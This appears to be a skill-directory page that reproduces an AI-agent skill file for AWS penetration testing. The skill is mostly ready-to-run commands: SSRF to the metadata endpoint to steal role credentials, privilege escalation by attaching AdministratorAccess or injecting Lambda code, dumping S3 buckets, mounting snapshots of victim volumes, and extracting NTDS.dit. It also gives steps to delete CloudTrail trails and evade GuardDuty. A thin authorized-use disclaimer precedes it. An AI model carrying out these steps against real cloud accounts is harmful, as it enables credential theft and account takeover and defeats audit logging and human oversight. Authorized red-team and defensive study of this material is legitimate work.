Agent Skills by ALSEL
Anthropic ClaudeDevOps・インフラ⭐ リポ 0品質スコア 50/100

aws-penetration-testing

AWSクラウド環境に対するペネトレーションテストの包括的な手法を提供します。IAMの列挙、権限昇格、メタデータエンドポイントへのSSRF、S3バケットの悪用、Lambdaコードの抽出、レッドチーム演習における永続化技術などを網羅しています。

description の原文を見る

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

SKILL.md 本文

認可された使用のみ: このスキルは認可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。

AWS ペネトレーションテスト

目的

AWS クラウド環境のペネトレーションテストに関する包括的な技法を提供します。IAM列挙、権限昇格、SSRFメタデータエンドポイント、S3バケット悪用、Lambda コード抽出、レッドチーム運用向けの永続化技法をカバーしています。

入力/前提条件

  • AWS CLI が認証情報を使用して構成されている
  • 有効な AWS 認証情報 (低権限でも可)
  • AWS IAM モデルの理解
  • Python 3、boto3 ライブラリ
  • ツール: Pacu、Prowler、ScoutSuite、SkyArk

出力/成果物

  • IAM 権限昇格パス
  • 抽出された認証情報とシークレット
  • 侵害された EC2/Lambda/S3 リソース
  • 永続化メカニズム
  • セキュリティ監査結果

必須ツール

ツール目的インストール
PacuAWS 悪用フレームワークgit clone https://github.com/RhinoSecurityLabs/pacu
SkyArkShadow Admin 検出Import-Module .\SkyArk.ps1
Prowlerセキュリティ監査pip install prowler
ScoutSuiteマルチクラウド監査pip install scoutsuite
enumerate-iamパーミッション列挙git clone https://github.com/andresriancho/enumerate-iam
Principal MapperIAM 分析pip install principalmapper

コアワークフロー

ステップ 1: 初期列挙

侵害されたアイデンティティと権限を識別します:

# 現在のアイデンティティを確認
aws sts get-caller-identity

# プロファイルを構成
aws configure --profile compromised

# アクセスキーを一覧表示
aws iam list-access-keys

# パーミッションを列挙
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

ステップ 2: IAM 列挙

# すべてのユーザーを一覧表示
aws iam list-users

# ユーザーのグループを一覧表示
aws iam list-groups-for-user --user-name TARGET_USER

# アタッチされたポリシーを一覧表示
aws iam list-attached-user-policies --user-name TARGET_USER

# インラインポリシーを一覧表示
aws iam list-user-policies --user-name TARGET_USER

# ポリシーの詳細を取得
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# ロールを一覧表示
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

ステップ 3: メタデータ SSRF (EC2)

SSRF を悪用してメタデータエンドポイント (IMDSv1) にアクセスします:

# メタデータエンドポイントにアクセス
http://169.254.169.254/latest/meta-data/

# IAM ロール名を取得
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 一時的な認証情報を抽出
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# レスポンスには以下が含まれます:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

IMDSv2 (トークン必須) の場合:

# トークンを最初に取得
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# リクエストにトークンを使用
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate コンテナ認証情報:

# 認証情報パスについて環境を読む
/proc/self/environ
# 以下を確認: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# 認証情報にアクセス
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

権限昇格技法

Shadow Admin パーミッション

これらのパーミッションは管理者と同等です:

パーミッション悪用方法
iam:CreateAccessKey管理者ユーザーのキーを作成
iam:CreateLoginProfile任意のユーザーにパスワードを設定
iam:AttachUserPolicy自分に管理者ポリシーをアタッチ
iam:PutUserPolicyインライン管理者ポリシーを追加
iam:AddUserToGroup自分を管理者グループに追加
iam:PassRole + ec2:RunInstances管理者ロール で EC2 を起動
lambda:UpdateFunctionCodeLambda にコードをインジェクト

別のユーザーのアクセスキーを作成

aws iam create-access-key --user-name target_user

管理者ポリシーをアタッチ

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

インライン管理者ポリシーを追加

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda 権限昇格

# code.py - Lambda 関数にインジェクト
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
# Lambda コードを更新
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 バケット悪用

バケット検出

# bucket_finder を使用
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# 一般的なバケット URL パターン
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

バケット列挙

# バケットを一覧表示 (認証情報あり)
aws s3 ls

# バケットの内容を一覧表示
aws s3 ls s3://bucket-name --recursive

# すべてのファイルをダウンロード
aws s3 sync s3://bucket-name ./local-folder

公開バケット検索

https://buckets.grayhatwarfare.com/

Lambda 悪用

# Lambda 関数を一覧表示
aws lambda list-functions

# 関数コードを取得
aws lambda get-function --function-name FUNCTION_NAME
# レスポンスにダウンロード URL が提供されます

# 関数を呼び出す
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM コマンド実行

Systems Manager は EC2 インスタンスでのコマンド実行を許可します:

# マネージドインスタンスを一覧表示
aws ssm describe-instance-information

# コマンドを実行
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# コマンド出力を取得
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 悪用

EBS ボリュームをマウント

# ターゲットボリュームのスナップショットを作成
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# スナップショットからボリュームを作成
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# 攻撃者インスタンスにアタッチ
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# マウントしアクセス
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

シャドーコピー攻撃 (Windows DC)

# CloudCopy 技法
# 1. DC ボリュームのスナップショットを作成
# 2. 攻撃者アカウントとスナップショットを共有
# 3. 攻撃者インスタンスでマウント
# 4. NTDS.dit と SYSTEM を抽出
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

API キーからコンソールアクセス

CLI 認証情報をコンソールアクセスに変換:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# コンソールアクセスのサインイン URL を生成

痕跡の隠蔽

CloudTrail を無効化

# トレイルを削除
aws cloudtrail delete-trail --name trail_name

# グローバルイベントを無効化
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# 特定リージョンを無効化
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

注: Kali/Parrot/Pentoo Linux はユーザーエージェントに基づいて GuardDuty アラートをトリガーします。ユーザーエージェントを変更する Pacu を使用してください。


クイックリファレンス

タスクコマンド
アイデンティティを取得aws sts get-caller-identity
ユーザーを一覧表示aws iam list-users
ロールを一覧表示aws iam list-roles
バケットを一覧表示aws s3 ls
EC2 を一覧表示aws ec2 describe-instances
Lambda を一覧表示aws lambda list-functions
メタデータを取得curl http://169.254.169.254/latest/meta-data/

制約

必須:

  • テストの前に書面による認可を取得
  • 監査証跡のためにすべてのアクションを文書化
  • スコープ内のリソースのみをテスト

禁止:

  • 承認なしで本番データを変更
  • ドキュメント化されていない永続的なバックドアを残す
  • セキュリティコントロールを恒久的に無効化

推奨:

  • メタデータ攻撃を試みる前に IMDSv2 を確認
  • 悪用前に十分に列挙
  • エンゲージメント後にテストリソースをクリーンアップ

例 1: SSRF から Admin へ

# 1. Web アプリで SSRF 脆弱性を検出
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. レスポンスからロール名を取得
# 3. 認証情報を抽出
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. 盗まれた認証情報で AWS CLI を構成
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. アクセスを確認
aws sts get-caller-identity

トラブルシューティング

問題解決方法
すべてのコマンドで Access Deniedenumerate-iam でパーミッションを列挙
メタデータエンドポイントがブロックIMDSv2 を確認、コンテナメタデータを試行
GuardDuty アラートカスタムユーザーエージェントで Pacu を使用
認証情報の有効期限切れメタデータから再フェッチ (一時的な認証情報はローテーション)
CloudTrail がアクション をログ無効化またはログ難読化を検討

追加リソース

Lambda/API Gateway 悪用、Secrets Manager & KMS、コンテナセキュリティ (ECS/EKS/ECR)、RDS/DynamoDB 悪用、VPC ラテラルムーブメント、セキュリティチェックリストを含む高度な技法については、references/advanced-aws-pentesting.mdを参照してください。

使用する時期

このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用可能です。

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
sickn33
リポジトリ
sickn33/antigravity-awesome-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/sickn33/antigravity-awesome-skills / ライセンス: MIT

関連スキル

汎用DevOps・インフラ⭐ リポ 502

superpowers-streamer-cli

SuperPowers デスクトップストリーマーの npm パッケージをインストール、ログイン、実行、トラブルシューティングできます。ユーザーが npm から `superpowers-ai` をセットアップしたい場合、メールまたは電話でサインインもしくはアカウント作成を行いたい場合、ストリーマーを起動したい場合、表示されたコントロールリンクを開きたい場合、後で停止したい場合、またはソースコードへのアクセスなしに npm やランタイムの一般的な問題から復旧したい場合に使用します。

by rohanarun
汎用DevOps・インフラ⭐ リポ 493

catc-client-ops

Catalyst Centerのクライアント操作・監視機能 - 有線・無線クライアントのリスト表示・フィルタリング、MACアドレスによる詳細なクライアント検索、クライアント数分析、時間軸での分析、SSIDおよび周波数帯によるフィルタリング、無線トラブルシューティング機能を提供します。MACアドレスやIPアドレスでのクライアント検索、サイト別やSSID別のクライアント数集計、無線周波数帯の分布分析、Wi-Fi信号の問題調査が必要な場合に活用できます。

by automateyournetwork
汎用DevOps・インフラ⭐ リポ 39,967

ci-cd-and-automation

CI/CDパイプラインの設定を自動化します。ビルドおよびデプロイメントパイプラインの構築または変更時に使用できます。品質ゲートの自動化、CI内のテストランナー設定、またはデプロイメント戦略の確立が必要な場合に活用します。

by addyosmani
汎用DevOps・インフラ⭐ リポ 39,967

shipping-and-launch

本番環境へのリリース準備を行います。本番環境へのデプロイ準備が必要な場合、リリース前チェックリストが必要な場合、監視機能の設定を行う場合、段階的なロールアウトを計画する場合、またはロールバック戦略が必要な場合に使用します。

by addyosmani
OpenAIDevOps・インフラ⭐ リポ 38,974

linear-release-setup

Linear Releaseに向けたCI/CD設定を生成します。リリース追跡の設定、LinearのCIパイプライン構築、またはLinearリリースとのデプロイメント連携を実施する際に利用できます。GitHub Actions、GitLab CI、CircleCIなど複数のプラットフォームに対応しています。

by novuhq
Anthropic ClaudeDevOps・インフラ⭐ リポ 2,159

tracking-application-response-times

API エンドポイント、データベースクエリ、サービスコール全体にわたるアプリケーションのレスポンスタイムを追跡・最適化できます。パフォーマンス監視やボトルネック特定の際に活用してください。「レスポンスタイムを追跡する」「API パフォーマンスを監視する」「遅延を分析する」といった表現で呼び出せます。

by jeremylongshore
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: sickn33 · sickn33/antigravity-awesome-skills · ライセンス: MIT